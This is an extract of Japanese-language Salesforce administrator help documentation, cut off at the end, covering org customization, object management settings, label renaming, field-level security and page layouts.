Salesforceでは、基本的な管理以外にもさまざまな機能をご利用いただけます。組織をカスタマイズして、基本
的な管理の枠を超えて機能性を強化できます。これらを 1 行のコードも記述せずに行うことができます。必要
なのはマウスと冒険心のみです。オブジェクト、データ、項目の機能強化、組織の外観のカスタマイズ、ビジ
ネスプロセスの追加、Web サイトの作成、アプリケーションの作成などのすべての操作を、ポイント & クリッ
クツールを使用して実行できます。

Salesforce 組織のカスタマイズ
カスタム項目の追加やページレイアウトの設定など、それぞれの標準タブやレコードタイプをカスタマイ
ズできます。組織の検索、タグ付け、およびユーザインターフェースのオプションもカスタマイズできま
す。さらに、Contact Manager Edition、Group Edition、Professional Edition、Enterprise Edition、Unlimited Edition、およ
び Performance Edition のすべてのユーザは、さまざまな個人用の表示オプションをカスタマイズできます。
独自の方法でのデータの設定
Salesforce データを最適化し、ユーザの固有のニーズに適合させます。自分にとって最も意味をなすように
組み合わせたデータを使用して、独自のオブジェクトを作成できます。
ビジネスプロセスの自動化
ユーザがビジネスプロセスの各部分を実行するのに任せるのではなく、プロセスを自動化しましょう。利
点は 2 つあります。ユーザが時間を他の ToDo に使用できることと、システム管理者がプロセスが常に完了
すると確信を持てることです。Salesforce には、ワークフロープロセス、承認プロセス、ウィザードベース
プロセスなど、各種のビジネスプロセスを自動化するツールが備えられています。これらのツールは、コー
ドを書く必要がありません、つまりすべてポイント & クリックです。
ドメインの管理
ドメインおよびサイトの関連付けを設定し、組織固有のニーズを満たすことができます。たとえば、コミュ
ニティ、Force.comサイト、およびSite.comサイトをホストする単一のドメインを設定できます。複数のドメ
インに単一のドメインを設定することもあります。
独自の Web サイトの構築
コミュニティビルダーまたは Force.com サイトを使用して、カスタムページやカスタムアプリケーションを
備えた Salesforce 組織を作成できます。
組織の範囲の拡張
ユーザは、Salesforce 組織外のデータやサービスでの操作を必要とする場合があります。さまざまな方法に
より、組織の境界を越えてシームレスなアクセスを提供できます。
独自の Salesforce アプリケーションの構築
アプリケーションは項目のコレクションであり、連動して特定の機能を提供します。Salesforce アプリケー
ションには、Classic アプリケーションと Lightning アプリケーションの 2 種類があります。Classic アプリケー
ションは、Salesforce Classic で作成、管理します。Lightning アプリケーションは Lightning Experience で作成、管
理します。どちらの種類のアプリケーションも、お客様のニーズに合わせてカスタマイズできます。
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Salesforce 組織のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用できるカスタマイズ
のオプションは、
Salesforce のエディション
によって異なります。

ユーザ権限

設定オプションを参照す
る
• 「設定・定義を参照す

る」

組織をカスタマイズする
• 「アプリケーションの

カスタマイズ」

カスタム項目の追加やページレイアウトの設定など、それぞれの標準タブやレ
コードタイプをカスタマイズできます。組織の検索、タグ付け、およびユーザ
インターフェースのオプションもカスタマイズできます。さらに、Contact Manager

Edition、Group Edition、Professional Edition、Enterprise Edition、Unlimited Edition、および
Performance Edition のすべてのユーザは、さまざまな個人用の表示オプションをカ
スタマイズできます。
組織の Salesforce の外観をカスタマイズする方法のクイックツアーです。
Salesforce を組織のニーズに合わせるために、さまざまなタブとその他の項目の
表示をカスタマイズできます。任意の ToDo で開始するリンクを選択します。

オブジェクト管理設定の検索
Salesforce では、カスタム項目、ページレイアウト、入力規則などの機能を使
用して、オブジェクトモデルをカスタマイズできます。有効化されたSalesforce

環境によっては、これらのカスタマイズが [設定] の異なる場所にあります。
項目へのユーザアクセスの制御
項目レベルセキュリティを使用して項目へのユーザアクセスを制御します。
ページレイアウトを使用して、Salesforce、セルフサービスポータル、および
Salesforce カスタマーポータルの詳細ページと編集ページのレイアウトと構成
を管理します。検索レイアウトをカスタマイズして、検索結果に表示される
項目、リストビューに表示されるボタンを変更します。
ユーザへのカスタムヘルプコンテンツの提供
カスタムオブジェクトに独自のカスタムヘルプコンテンツを提供して、Salesforce の状況に応じたオンライ
ンヘルプトピックを上書きできます。また、ユーザが項目にマウスポインタを置いたときに表示する項目
レベルのヘルプを追加できます。
ユーザごとのビジネスプロセスの調整
レコードタイプを使用すると、さまざまなビジネスプロセス、選択リストの値、およびページレイアウト
を、さまざまなユーザに提供できます。通常の販売取引と企業向け契約とを区別するレコードタイプを作
成して、それぞれに異なる選択リスト値を提供できます。また、カスタマーサポートのケースと請求用の
ケースで異なるページレイアウトを表示することもできます。
複数言語のユーザのサポート
組織で複数の言語が有効になっている場合、トランスレーションワークベンチを使用して組織で翻訳済み
表示ラベルが維持されるようにします。Salesforce でサポートされている言語で翻訳された値を管理できま
す。

オブジェクト管理設定の検索
Salesforceでは、カスタム項目、ページレイアウト、入力規則などの機能を使用して、オブジェクトモデルをカ
スタマイズできます。有効化されたSalesforce環境によっては、これらのカスタマイズが [設定] の異なる場所に
あります。
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Lightning Experience でのオブジェクト管理設定の検索
Salesforce では、カスタム項目、ページレイアウト、入力規則などの機能を使用して、オブジェクトモデル
をカスタマイズできます。ほとんどのオブジェクトは、[設定] のオブジェクトマネージャから使用できま
す。
Salesforce Classic でのオブジェクト管理設定の検索
Salesforce では、カスタム項目、ページレイアウト、入力規則などの機能を使用して、オブジェクトモデル
をカスタマイズできます。検索するオブジェクトの種別によっては、これらのカスタマイズが [設定] の異
なる場所にあります。
Force.com クイックアクセスメニュー
Force.com クィックアクセスメニューでは、カスタマイズ機能への便利なショートカットが提供されます。

Lightning Experience でのオブジェクト管理設定の検索

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
すべてのエディション

Salesforce では、カスタム項目、ページレイアウト、入力規則などの機能を使用
して、オブジェクトモデルをカスタマイズできます。ほとんどのオブジェクト
は、[設定] のオブジェクトマネージャから使用できます。
標準オブジェクトとカスタムオブジェクト

取引先や取引先責任者などの標準オブジェクトは、Salesforce 組織で標準搭載
されています。カスタムオブジェクトは、ユーザまたは他のシステム管理者
が作成したオブジェクトです。
[設定] から [クイック検索]ボックスに「オブジェクトマネージャ」と入力し、
[オブジェクトマネージャ]を選択します。リストからオブジェクトを 1 つ選択し、特定のカスタマイズのセ
クションまでスクロールします。
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たとえば、取引先オブジェクトにカスタム項目を追加するには、[クイック検索] ボックスに「オブジェク
トマネージャ」と入力し、[オブジェクトマネージャ] を選択します。次に、[取引先] を選択し、[項目 & リ
レーション] までスクロールします。

その他の標準オブジェクト
一部の標準オブジェクトは、オブジェクトマネージャには表示されません。このようなオブジェクトのカ
スタマイズ設定にアクセスするには、[設定] から [クイック検索] ボックスにオブジェクト名を入力し、カ
スタマイズ設定を選択します。
[設定] から、[クイック検索] ボックスにオブジェクト名を入力し、カスタマイズを選択します。
たとえば、グループオブジェクトにトリガを追加するには、[クイック検索] ボックスに「グループ」と入
力し、[グループトリガ] を選択します。

外部オブジェクト
外部オブジェクトはカスタムオブジェクトと似ていますが、Salesforce 組織外に保存されたデータに対応付
けられるという点が異なります。
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[設定] から、[クイック検索]ボックスに「外部オブジェクト」と入力し、[外部オブジェクト]を選択します。
次に、リストから外部オブジェクトを 1 つクリックします。特定のカスタマイズのセクションまでスクロー
ルします。
たとえば、注文外部オブジェクトにカスタム項目を追加するには、[クイック検索] ボックスに「外部オブ
ジェクト」と入力し、[外部オブジェクト]を選択します。[注文]をクリックし、[カスタム項目 & リレーショ
ン] までスクロールします。

関連トピック:

ポイント & クリック操作によるカスタマイズ: Lightning Experience で使用できない機能とその新機能

Salesforce Classic でのオブジェクト管理設定の検索

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce では、カスタム項目、ページレイアウト、入力規則などの機能を使用
して、オブジェクトモデルをカスタマイズできます。検索するオブジェクトの
種別によっては、これらのカスタマイズが [設定] の異なる場所にあります。
標準オブジェクト

取引先や取引先責任者などの標準オブジェクトは、Salesforce 組織で標準搭載
されています。
[設定] から、[クイック検索] ボックスに適切なオブジェクトの名前を入力
し、特定のカスタマイズを選択します。
たとえば、ケースオブジェクトにカスタム項目を追加するには、[クイック検索] ボックスに「ケース」と
入力し、[ケース] で [項目] を選択します。

カスタムオブジェクト
カスタムオブジェクトは、ユーザまたは他のシステム管理者が作成したオブジェクトです。
[設定] から、[クイック検索] ボックスに「オブジェクト」と入力し、[オブジェクト]を選択します。次に、
リストからカスタムオブジェクトを 1 つクリックします。特定のカスタマイズのセクションまでスクロー
ルします。
たとえば、社員募集アプリケーションオブジェクトにカスタム項目を追加するには、[クイック検索] ボッ
クスに「オブジェクト」と入力し、[オブジェクト]を選択します。[ジョブアプリケーション]をクリックし、
[カスタム項目 & リレーション] までスクロールします。

外部オブジェクト
外部オブジェクトはカスタムオブジェクトと似ていますが、Salesforce 組織外に保存されたデータに対応付
けられるという点が異なります。
[設定] から、[クイック検索]ボックスに「外部オブジェクト」と入力し、[外部オブジェクト]を選択します。
次に、リストから外部オブジェクトを 1 つクリックします。特定のカスタマイズのセクションまでスクロー
ルします。
たとえば、注文外部オブジェクトにカスタム項目を追加するには、[クイック検索] ボックスに「外部オブ
ジェクト」と入力し、[外部オブジェクト]を選択します。[注文]をクリックし、[カスタム項目 & リレーショ
ン] までスクロールします。
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Force.com クイックアクセスメニュー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Force.com クイックアクセ
スメニューを参照する
• 「アプリケーションの

カスタマイズ」

Force.com クィックアクセスメニューでは、カスタマイズ機能への便利なショー
トカットが提供されます。
アプリケーションまたはオブジェクトを操作するときは、このメニューを使用
して関連するアプリケーションのカスタマイズ機能に移動します。このメニュー
は、オブジェクトリストビューページおよびレコード詳細ページから利用でき
ます。

メモ: リストビューでドラッグアンドドロップスケジュール設定が有効な
場合、Force.com クイックアクセスメニューは、取引先、取引先責任者、お
よびカスタムオブジェクトのリストビューには表示されません。

• このメニューを展開するまたは折たたむには、 をクリックします (または
Alt+; キーを押します) 。

• メニューのリストをスクロールダウンするには、TAB キーを押してください。
• メニューのオプションを選択するには、ENTER キーを押してください。
• すべてのリストビューおよびレコードページからこのメニューを削除するに

は、[メニューを無効にする] をクリックします。
クイックアクセスメニューを復元する手順は、次のとおりです。
1. [個人設定] から、[クイック検索] ボックスに「高度なユーザの詳細」と入力

し、[高度なユーザの詳細] を選択します。結果がありませんか? [クイック検
索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

2. [編集] をクリックします。
3. [Force.com クイックアクセスメニュー] チェックボックスをオンにします。
4. [保存] をクリックします。
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オブジェクト、タブ、項目の表示ラベルの名称変更
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

タブと項目の名称を変更
する
• 「アプリケーションの

カスタマイズ」

または

「設定・定義を参照す
る」

および

翻訳者として指定され
ていること

名称変更したタブをリ
セットする
• 「アプリケーションの

カスタマイズ」

または

「設定・定義を参照す
る」

および

翻訳者として指定され
ていること
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エディション

使用可能なエディション:
Salesforce Classic

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce では、ほとんどすべてのオブジェクト、項目、またはタブの名称を変
更できます。この簡単な調整によって、ユーザがすでに把握している用語をそ
のまま使用できるため、Salesforceの使用に移行するときに役立ちます。ただし、
Salesforceヘルプと [設定] のほとんどのページでは、標準オブジェクト、項目、タ
ブは常に元の名称で表示されます。
たとえば、[取引先] オブジェクトおよび関連する [取引先] タブの表示ラベルを
「会社」に変更し、[取引先名] 項目を「会社名」に変更できます。オブジェク
ト、タブ、または項目の名称を変更した場合、新しい名称は Salesforce for Outlook

と Connect Offline のすべてのページでユーザに表示されます。
タブ、オブジェクト、項目、およびその他の関連する表示ラベルの名称を変更
する前に、システム管理者に「タブと項目の表示ラベルの名称変更に関する考
慮事項」を確認してください。
1. [設定] から、[クイック検索]ボックスに「タブと表示ラベルの名称変更」と入力し、[タブと表示ラベルの名

称変更] を選択します。
2. ページ上部にある [言語の選択] ドロップダウンリストから、デフォルト言語を選択します。

メモ: ヘブライ語の場合、動詞の性の変化がサポートされておらず、動詞の性が一致しなくなる可能
性があるため、タブの名称変更を最小限に抑えることをお勧めします。

3. 名称を変更するタブの横にある[編集]をクリックします。タブの元の名称に戻すには、[リセット]をクリッ
クします。

メモ: カスタムタブの名称をリセットすることはできません。

4. 言語によって、必要があれば新しい名称の単数形と複数形を入力します。また、対象言語で該当する場合
は、母音で始まる表示ラベルについて、[母音で始まる場合はチェック] を選択し、Salesforce で適切な冠詞
(「a」や「an」など) が使用されるようにします。次に、[次へ] をクリックします。
タブまたはオブジェクトの名称を変更するときに、別の標準タブ、カスタムオブジェクト、外部オブジェ
クト、またはカスタムタブの名称を使用することはできません。

5. 標準項目の表示ラベルおよびその他のユーザインターフェース要素の表示ラベルを入力します。単数形と
複数形が必要なものについては、それぞれの表示ラベルに必ず両方を入力してください。母音で始まる表
示ラベルについては、[母音で始まる場合はチェック] を選択します。

6. [保存] をクリックします。
この手順を繰り返して、組織で使用するその他すべての言語の表示ラベルを翻訳します。

ヒント: タブまたはオブジェクトの名称変更後、元の名称を含むカスタムレポート、ダッシュボード、プ
ロファイル、権限セット、カスタム項目、およびリストビューの名称を変更します。トランスレーショ
ンワークベンチを使用してラベルを変更できます。標準レポートの名称を変更するには、[別名で保存]を
クリックし、新しい名称用のフォルダに保存します。

その他のタブカスタマイズオプションは次のとおりです。
• 各ユーザは、ログイン時に表示されるタブと関連リストをカスタマイズできます。
• エディションによっては、Salesforce によって提供される標準タブに加えて、まったく新しいカスタムタブ

を作成できます。詳細は、「ユーザへのカスタムオブジェクトのデータの表示」を参照してください。
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• Enterprise Edition、Unlimited Edition、Performance Edition、Developer Edition を使用する組織では、標準、カスタム、
または外部オブジェクトタブをクリックしたときに表示されるタブのホームページを上書きできます。詳
細は、「標準ボタンとタブのホームページの上書き」 (ページ 6331)を参照してください。

個人取引先表示ラベルの名称変更
組織で個人取引先を使用している場合は、次の標準項目の名称を変更できます。

説明タブ項目

個人取引先に固有のレコードタイプを持たないため、
個人取引先ではない取引先。この表示ラベルは主に

取引先法人取引先

インポートする取引先の種別を明確にするために使
用されます。

個人取引先。取引先個人取引先

法人取引先に関連付けられている取引先責任者。こ
の表示ラベルは主にインポートする取引先の種別を
明確にするために使用されます。

取引先責任者法人取引先責任者

[個人取引先] 項目の表示ラベルの名称を変更する場合、名称変更された表示ラベルは Salesforce で次のように
表示されます。
• 法人取引先項目の[誕生日]、[自宅電話]など個人取引先項目と差別化するためのプレフィックスとして表

示される。たとえば、[個人取引先: 誕生日]は商談レポートの取引先列として使用できます。
• [個人取引先]項目およびアイコンの名称に表示される。たとえば、[個人取引先]項目の名称を「消費者」

に変更すると、[個人取引先] は [コンシューマ]になります。

メモ: [個人取引先] および [法人取引先] 項目の表示ラベルは、実際のレコードタイプ名とは独立してい
ます。
• 個人取引先のレコードタイプをカスタマイズするには、個人取引先のオブジェクト管理設定から、[レ

コードタイプ] に移動します。
• 法人取引先のレコードタイプをカスタマイズするには、取引先のオブジェクト管理設定から、[レコー

ドタイプ] に移動します。

関連トピック:

タブと項目の表示ラベルの名称変更に関する考慮事項
Chatter タブの名前変更
オブジェクト管理設定の検索
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タブと項目の表示ラベルの名称変更に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

タブと項目の表示ラベル
の名称を変更する
• 「アプリケーションの

カスタマイズ」

名称変更したタブをリ
セットする
• 「アプリケーションの

カスタマイズ」

標準とカスタムのタブおよび項目の名称を変更する前に、その変更がユーザに
及ぼす影響について理解します。
• ほとんどの標準タブと標準オブジェクトは名称を変更できますが、すべて変

更できるわけではありません。たとえば、[売上予測] タブの名称は変更でき
ません。名称の変更が可能なタブとオブジェクトのリストを表示するには、
[設定] から [クイック検索] ボックスに「タブと表示ラベルの名称変更」と入
力し、[タブと表示ラベルの名称変更] を選択します。

• 名称を変更した表示ラベルは、[個人設定] を含む Salesforce のすべてのユーザ
ページで表示されます。ただし、[設定] エリアのすべてのページでは、デフォ
ルトのオリジナル表示ラベルが使用されます。

• [作成者] や [最終更新者] などの一部の標準項目はシステム情報を追跡する
ためのものであるため、名称の変更からは意図的に除外されています。

• タブ、オブジェクト、または項目の名称を変更したら、手動更新を必要とす
る場合がある次の追加項目を確認してください。
– すべてのリストビューの名称の確認。リストビューの名称には、手動で

変更するまで元のオブジェクト名が表示されます。
– 名称を変更したオブジェクトの標準レポート名と説明の確認。
– 元のオブジェクト名または項目名を含むメールテンプレートのタイトル

と説明の更新。
– 新しいオブジェクト名または項目名でカスタマイズした他の項目に対す

る手動での変更。たとえば、カスタム項目、ページレイアウト、および
レコードタイプには、元のタブ名または項目名が含まれている可能性が
あります。

• Connect Offline、Lightning for Outlook、および Salesforce for Outlook で新しい名称が使用されます。
• タブ、オブジェクト、または項目の名称を変更した場合は、別の URL で Salesforce ヘルプを置換することも

できます。この URL は、エンドユーザページまたは個人設定内の状況に応じたヘルプリンクをクリックす
るたびに表示されます。ヘルプを置換しても、すべてのページの最上部に表示される [ヘルプ & トレーニン
グ] リンクと、すべての [設定] ページには、Salesforce ヘルプが引き続き表示されます。オンラインヘルプの
置換手順についての詳細は、「Salesforceの組み込みヘルプのカスタムヘルプへの置換」 (ページ5291)を参照
してください。

• ヘブライ語の場合、動詞の性の変化がサポートされておらず、動詞の性が一致しなくなる可能性があるた
め、タブの名称変更を最小限に抑えることをお勧めします。

関連トピック:

オブジェクト、タブ、項目の表示ラベルの名称変更
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項目へのユーザアクセスの制御
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ページレイアウトおよび
検索レイアウトが使用で
きるエディション:すべて
のエディション

項目レベルセキュリティ
を使用可能なエディショ
ン: Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

項目レベルセキュリティを使用して項目へのユーザアクセスを制御します。ペー
ジレイアウトを使用して、Salesforce、セルフサービスポータル、およびSalesforce

カスタマーポータルの詳細ページと編集ページのレイアウトと構成を管理しま
す。検索レイアウトをカスタマイズして、検索結果に表示される項目、リスト
ビューに表示されるボタンを変更します。

重要: ページレイアウトを使用して詳細ページと編集ページの項目を非表
示にしても、ユーザはその項目にアクセスできます。レポート、検索結果、
リストビュー、APIから項目を参照できます。項目のアクセスを制限するに
は、項目レベルセキュリティを使用します。項目レベルセキュリティでは、
項目内の値の検索を制限できません。検索語が項目レベルのセキュリティ
で保護された項目値と一致する場合、関連付けられたレコードは、保護さ
れた項目およびその値なしで検索結果に返されます。また、データの保護
にページレイアウトを使用しません。たとえば、[編集] ボタンをページレ
イアウトから削除しても、ユーザはインライン編集ができなくなるわけで
はありません。ユーザがデータを編集できないようにするには、共有ルー
ル、項目レベルセキュリティ、ページレイアウト項目プロパティ、入力規
則、オブジェクト権限、Visualforce ページを使用する必要があります。

項目レベルセキュリティ
• ユーザの項目の参照と編集に対するアクセス権を制限します。たとえば、レポート、検索結果、リスト

ビュー、関連リスト、メールおよびメール差し込みテンプレート、カスタムリンク、Connect Offline でのア
クセスを制限します。また、データの同期や個人データのインポート時に API アクセスを制限します。

• ページレイアウトおよびミニページレイアウトの制限の緩い項目アクセス設定を上書きします。たとえば、
ページレイアウトに項目レベルセキュリティ設定で参照のみの項目が必要な場合、その項目はユーザに対
し参照のみになります。

• 検索レイアウトの制限の緩い項目設定を上書きします。たとえば、検索レイアウトでは項目が表示されて
いて、項目レベルセキュリティ設定では非表示の場合、項目は非表示です。

ページレイアウト
• 詳細ページおよび編集ページのレイアウトと構成を制御します。
• 詳細ページおよび編集ページのみに表示される、項目、関連リスト、カスタムリンクを制御します。
• 詳細ページおよび関連リストに表示される標準ボタンとカスタムボタンを制御します。
• 詳細ページおよび編集ページのみで項目が表示されるか、参照のみか、または必須項目かを指定します。
• ユーザがデータをインポートできる項目を決定します。
• Personal Edition、Contact Manager Edition、Group Edition、および Professional Edition では、関連リスト、リスト

ビュー、レポート、Connect Offline、メールおよび差し込み印刷テンプレート、カスタムリンク、およびデー
タの同期でアクセスできる項目を管理します。

• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、Developer Edition で、次のようなミニ
ページレイアウトの要素を決定します。
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レコードタイプ–

– プロファイルの関連付け
– 関連リスト
– 項目と項目アクセス設定。
ミニページレイアウトの表示項目と関連リストはさらにカスタマイズできます。ただし、関連付けられた
ページレイアウトから継承した他の項目はミニページレイアウトでは変更できません。ミニページレイア
ウトは、コンソールのミニビューにレコードの選択した項目および関連リストを表示します。

ヒント: 項目をすべてのページレイアウトに自動的に追加し、項目レベルのセキュリティに関係なく、項
目を表示し必須にするには、項目を必須項目に設定します。

フィードベースのレイアウトの概要
フィードベースのページレイアウトには、レコードのフィード用と詳細用 (関連リストなど) に 1 つずつ、
別個のビューが含まれているため、レコードを処理しやすくなります。
ページレイアウトの作成
高度なページレイアウトエディタを使用して、ユーザのニーズに合わせてレコードページレイアウトを調
整できます。レコードの詳細ページでアクション、ボタン、項目、セクションの追加、削除、または並び
替えを行います。
フィードベースのページレイアウトの作成
フィードベースのレイアウトを作成すると、取引先、取引先責任者、リード、商談、カスタム、および外
部のオブジェクトレコードをユーザが操作しやすくなります。次のレイアウトには、レコードのフィード
用と詳細用に 1 つずつ、2 つの別個のビューが含まれています。
ページレイアウト
ページレイアウトは、オブジェクトレコードページのボタン、項目、Sコントロール、Visualforce、カスタム
リンク、および関連リストのレイアウトと構成を管理します。また、どの項目が参照可能であるか、参照
のみであるか、必須であるかを決定するのに役立ちます。ユーザのレコードページのコンテンツをカスタ
マイズするには、ページレイアウトを使用します。
Compact Layouts

コンパクトレイアウトには、Salesforce1と Lightning Experienceのレコードの主要項目が一目でわかるように表
示されます。
Lightning Experience でオブジェクトのホームページの [最近参照したデータ] リストに表示される項目の選択
Salesforce システム管理者は、ほとんどの標準オブジェクトとカスタムオブジェクトのホームページに表示
される [最近参照したデータ] リストをカスタマイズできます。会社にとって最も重要な情報がユーザに表
示されるように、表示項目を選択して並び替えます。
検索レイアウトのカスタマイズ
検索結果、検索条件項目、ルックアップダイアログ、Salesforce Classicでのタブのホームページの最新レコー
ドのリスト、および Salesforce CRM Call Center の電話番号ルックアップダイアログで、ユーザに表示する項目
をカスタマイズします。

関連トピック:

ページレイアウト
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フィードベースのレイアウトの概要
フィードベースのページレイアウトには、レコードのフィード用と詳細用 (関連リストなど) に 1 つずつ、別個
のビューが含まれているため、レコードを処理しやすくなります。

使用可能なエディション: Enterprise Edition、Performance Edition、Unlimited Edition、および Developer Edition

すべてのレコードの情報 (フィード、詳細、関連リスト) が 1 つのページに表示される標準ページレイアウトと
は異なり、フィードベースのレイアウトでは、フィードビューと詳細ビューを切り替えて、そのときに必要な
情報の種類に焦点を絞ることができます。たとえば、レコードに関する他のユーザのコメントを確認する場合
や、関連する新しいレコードを作成する場合は、フィードビューを使用します。レコードの関連リスト、添付
ファイル、およびその他の詳細情報を徹底的に調べる場合は、詳細ビューを使用します。
フィードベースのレイアウトは、取引先、納入商品、ケース、取引先責任者、リード、商談、カスタム、およ
び外部オブジェクトで使用できます。

これらのレイアウトのフィードビューは、次の要素で構成されます。
1. タブ。または、Salesforce コンソールを使用している場合は、フィードビューと詳細ビューの切り替えボタ

ン ( )。
2. パブリッシャー。システム管理者による組織の設定に応じて、関連レコードの作成や、活動の記録のよう

な操作を実行できるアクションが含まれる場合があります。
3. レコードフィード。レコードに関する他のユーザのコメントなど、レコードに対する活動が表示されます。
4. システム管理者が追加したカスタムボタンとカスタムリンク。
5. フォローボタン ( ) またはフォロー中インジケータ ( ) と、レコードをフォローしているユーザのリス

ト。システム管理者によるページの設定に応じて、これらは左側または右側に表示されます。
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6. フィード条件。フィードから表示する情報を選択できます。システム管理者によるページの設定に応じて、
条件はページの左側、中央、または右側に表示されます。

詳細ビューには、関連リストを含む、レコードに関する詳細な情報が表示されます。

関連トピック:

フィードベースのページレイアウトの作成
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ページレイアウトの作成

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ページレイアウトを作成
する
• 「アプリケーションの

カスタマイズ」

高度なページレイアウトエディタを使用して、ユーザのニーズに合わせてレコー
ドページレイアウトを調整できます。レコードの詳細ページでアクション、ボ
タン、項目、セクションの追加、削除、または並び替えを行います。
1. 編集するオブジェクトの管理設定から、[ページレイアウト] に移動します。
2. [新規] をクリックします。
3. オプションで、コピーする既存のページレイアウトを選択します。
4. 新しいレイアウトの名前を入力します。
5. 必要に応じて、[フィードベースのレイアウト] を選択し、レコードのフィー

ドおよび詳細ページの個別タブを含むレイアウトを作成します。
6. [保存] をクリックします。
7. レイアウトを変更します。
8. ユーザプロファイルに新しいレイアウトを割り当てます。

ヒント: レイアウト内から [別名で保存] を使用して既存のページレイアウ
トをコピーすることによって、新しいページレイアウトを作成することも
できます。

関連トピック:

標準オブジェクトのページレイアウトの編集
カスタムオブジェクトおよび外部オブジェクトのページレイアウトの編集
項目へのユーザアクセスの制御
フィードベースのレイアウトの概要
オブジェクト管理設定の検索
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フィードベースのページレイアウトの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

ページレイアウトを作
成、編集、および削除す
る
• 「アプリケーションの

カスタマイズ」

フィードベースのレイアウトを作成すると、取引先、取引先責任者、リード、
商談、カスタム、および外部のオブジェクトレコードをユーザが操作しやすく
なります。次のレイアウトには、レコードのフィード用と詳細用に 1 つずつ、2

つの別個のビューが含まれています。
フィードベースのレイアウトを使用するとレコードの処理を合理化できます。
ユーザは、探している情報を見つけるために関心のない情報を延々とスクロー
ルする必要がなくなります。ユーザは、フィードビューと詳細ビューの間を簡
単に切り替えることができます。フィードビューには、パブリッシャーとレコー
ドに関する重要なイベントが時系列で表示され、詳細ビューには、関連リスト
を含む、レコードに関する詳細な情報が表示されます。
フィードベースのレイアウトは、取引先、納入商品、取引先責任者、リード、
商談、カスタム、および外部のオブジェクト用に作成できます。ケースのフィー
ドベースのレイアウトを作成するには、ケースフィードを使用します。
1. フィードベースのレイアウトを作成するオブジェクトで、フィード追跡が有

効になっていることを確認します。フィード追跡を有効にするには、[設定]

から [クイック検索] ボックスに「フィード追跡」と入力し、[フィード追跡]

を選択します。
2. 新しいページレイアウトを作成し、[フィードベースのレイアウト] を選択し

ます。

メモ: フィードベースにできるのは新しいページレイアウトのみです。
既存の標準レイアウトをフィードベースのレイアウトに変更することは
できません。

3. レイアウトの横にある [編集] をクリックし、高度なページレイアウトエディタを使用して設定します。
従来のページレイアウトエディタでは、フィードベースのレイアウトを設定できません。

4. ページレイアウトエディタのメインページで、パブリッシャーをカスタマイズして、ユーザが使用できる
ようにアクションを組み込み、カスタムボタンやリンクを追加します。

5. ページレイアウトエディタのヘッダーで [フィードビュー] をクリックして、フィードページに表示される
内容をカスタマイズします。
次のカスタマイズができます。
• 全幅フィードを有効にする。ユーザがSalesforce コンソールのタブまたはサブタブでレコードを表示して

いるときにフィードが横方向に展開されます。
• コンパクトフィードを有効化する。ユーザがSalesforce コンソールのタブやサブタブでレコードを操作す

るときに、見やすく合理化されたフィードビューが表示されます。
• 使用されていない場合は自動的にパブリッシャーを折りたたむように選択する。これにより、ユーザは

ページ上により多くの情報を表示できます。
• カスタムコンポーネントを追加する。ここでのカスタムコンポーネントとは、定義した機能を持つ

Visualforce ページです。
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• カスタムボタン、リンク、[フォローする] ボタンや [フォローされている人] リストなどの標準コンポー
ネントをページのどこに表示するか選択する。

• 標準サイドバーを非表示にする。
• 使用可能なフィードフィルタとその表示場所を選択する。

6. ページレイアウトをユーザプロファイルに割り当てます。

関連トピック:

フィードベースのレイアウトの概要
ケースフィードの概要
フィード追跡
関連レコードのフィード更新の有効化

ページレイアウト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ページレイアウトを使用
可能なエディション: すべ
てのエディション

ページレイアウトの作成
および削除に使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

ページレイアウトを作
成、編集、および削除す
る
• 「アプリケーションの

カスタマイズ」

ページレイアウトは、オブジェクトレコードページのボタン、項目、Sコント
ロール、Visualforce、カスタムリンク、および関連リストのレイアウトと構成を
管理します。また、どの項目が参照可能であるか、参照のみであるか、必須で
あるかを決定するのに役立ちます。ユーザのレコードページのコンテンツをカ
スタマイズするには、ページレイアウトを使用します。
ページレイアウトには、ページの表示時に項目のセクションで提供される Sコン
トロールおよびVisualforceページを含めることができます。Sコントロールおよび
Visualforce ページのサイズは調整可能で、表示ラベルおよびスクロールバーを表
示するかどうかを指定できます。
Salesforce には、従来のページレイアウトエディタと高度なページレイアウトエ
ディタという、ページレイアウトを編集する 2 つのドラッグアンドドロップツー
ルがあります。高度なページレイアウトエディタは、デフォルトで有効化され
ており、従来のエディタのすべての機能を提供すると共に、追加機能とさらに
使いやすい WYSIWYG インターフェースを提供します。
従来のページレイアウトエディタはユーザインターフェース設定で有効化でき
ます。Salesforce組織で一度に使用できるページレイアウトエディタは 1 つのみで
す。
ページレイアウト内からミニページレイアウトにアクセスできます。ミニペー
ジレイアウトでは、エージェントコンソールまたはSalesforce Classicのサイドバー
の [最近使ったデータ] セクションのオブジェクトの詳細ページで項目にマウス
ポインタを置いたときに表示される詳細のフロート表示を定義します。
Personal Edition、Contact Manager Edition、Group Edition、および Professional Edition の組
織では、すべてのユーザで同じレイアウトが使用されます。Professional Edition、Enterprise Edition、Unlimited Edition、
